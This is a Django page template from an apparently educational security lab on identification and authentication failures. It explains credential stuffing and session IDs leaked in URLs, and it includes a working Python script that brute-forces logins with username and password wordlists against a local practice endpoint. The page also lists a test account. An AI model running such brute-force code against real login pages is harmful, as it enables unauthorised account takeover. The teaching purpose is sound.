{% extends 'core/Identification and Authentication Failures/IA-Failures.html' %}
{% load static %}

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
{% block inside-content %}
    <div class="bg-white nav-item flex-grow bg-opacity-20 backdrop-filter backdrop-blur-md w-4/5 problems-container">
        <h1 class="text-center text-white font-bold pb-5">How do I know an Identification or Authentication failure?</h1>

         <p class="text-white">
             Let us follow up on the explanation in the previous Tab, starting with credential stuffing. There is little
             to show about this subcategory, as the attacker already has your login details. All he needs to do is
             use them. There are many ways to perform brute-force attacks. The simplest would be to take dictionaries
             with the most common names and passwords and try their combinations. Such as
             <a href="https://github.com/danielmiessler/SecLists" class="font-bold underline">Git repo</a>, by
             <a href="https://danielmiessler.com/" class="underline">Daniel Miessler</a>,
             <a href="https://twitter.com/Jhaddix" class="underline"> Jason Haddix</a>, and
             <a href="https://blog.g0tmi1k.com/" class="underline">g0tmi1k</a>.
             Once you have all the data, you pass them into the username and password fields. With some luck, one of the
             combinations works, and you have just logged into somebody's account. Let's move on to session identifiers.
             They are unique strings that get assigned to the users by our website's server. Exemplary session URL:
         </p>
        <div class="flex flex-grow pt-3 pb-3">
            <pre><code class="python rounded-lg">https://www.yourwebsite.com/index?sid=asgfdw4gfgw234effvfbtreg13rf</code></pre>
        </div>
         <p class="text-white">
             Now you may ask how this information is any good for the attackers. Let's say you logged into some website
             and then closed the website. If the website saves sessions, you will be logged in when you revisit the
             website. Now let's say somebody steals your session URL. He just accessed your logged-in account; all he
             needs to do is use your URL containing the session id. Optimally your website should omit displaying URLs
             like this.
        </p>
        <div class="flex flex-grow pt-3">
            <pre><code class="python rounded-lg">https://www.yourwebsite.com/</code></pre>
        </div>

        <p class="text-white pt-3">
            Here is a code of how a brute force attack might look.
        </p>
            <div class="flex flex-grow pt-3 pb-3">
            <pre><code class="python rounded-lg">import requests

def brute_force(usernames, passwords, url):
	for username in usernames:
		for password in passwords:
			credentials = {
				"username":username,
				"password":password
			}

			req = requests.post(url, credentials)

			if req.text.find("Wrong Credentials") == -1:
				print("Login Successful")
				return username, password
			else:
				print("Login Failed")

def main():
	with open('usernames.txt') as f:
		usernames = f.read().splitlines()

	with open('passwords.txt') as f:
		passwords = f.read().splitlines()

	url = "http://127.0.0.1:8000/problems/identification_authentication_failures/example"

	username, password = brute_force(usernames, passwords, url)
	print("\nCredentials:", "\nUsername: ", username, "\nPassword: ",password)

if __name__ == "__main__":
	main()</code></pre>
        </div>

         <p class="text-white pb-3">
             Here we have a simple python code that opens two text files holding usernames and passwords. Then we have a
             function that loops through them and adds them to the dictionary. Then the dictionary is sent as a post
             request. You can download the files and play around with them with the buttons below. The original file
             creators are
             <a href="https://github.com/danielmiessler/SecLists/tree/master/Passwords" class="underline">Daniel Miessler</a>, and
             <a href="https://github.com/attackdebris/kerberos_enum_userlists/blob/master/Male_First_Names_Top_500.txt" class="underline">attackdebris</a>.
             <br>
             This code is explicitly aimed at the Django framework so that you can try the attack yourself. This approach might be slightly different depending on the framework used.
        </p>

        <h1 class="text-white font-bold">File Download:</h1>

        <p class="text-white">
            For correct script functionality you need all 3 files in the same folder. For script to work, you need to
            either insert your own
            created user into usernames and password text files, or register a user with credentials:
        <ul class="list-disc text-white pl-5 pb-3">
            <li>Username: user2</li>
            <li>Password: user2pswd2</li>
        </ul>
        </p>

        <div class="bg-gray-700 hover:bg-gray-900 text-white font-bold py-2 px-4 rounded-full inline-flex items-center font-medium">
            <svg class="w-6 h-6 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24"
                 xmlns="http://www.w3.org/2000/svg">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                      d="M9 13.5l3 3m0 0l3-3m-3 3v-6m1.06-4.19l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"></path>
            </svg>
            <button type="submit" class="pl-3"
                    onclick="location.href='{% url 'download_usernames' %}'" name='download'>
                Usernames
            </button>
        </div>

        <div class="bg-gray-700 hover:bg-gray-900 text-white font-bold py-2 px-4 rounded-full inline-flex items-center font-medium">
            <svg class="w-6 h-6 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24"
                 xmlns="http://www.w3.org/2000/svg">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                      d="M9 13.5l3 3m0 0l3-3m-3 3v-6m1.06-4.19l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"></path>
            </svg>
            <button type="submit" class="pl-3"
                    onclick="location.href='{% url 'download_passwords' %}'" name='download'>
                Passwords
            </button>

        </div>

        <div class="bg-gray-700 hover:bg-gray-900 text-white font-bold py-2 px-4 rounded-full inline-flex items-center font-medium">
            <svg class="w-6 h-6 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24"
                 xmlns="http://www.w3.org/2000/svg">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                      d="M9 13.5l3 3m0 0l3-3m-3 3v-6m1.06-4.19l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"></path>
            </svg>
            <button type="submit" class="pl-3"
                    onclick="location.href='{% url 'download_script' %}'" name='download'>
                Script
            </button>
        </div>


    </div>
{% endblock %}
</html>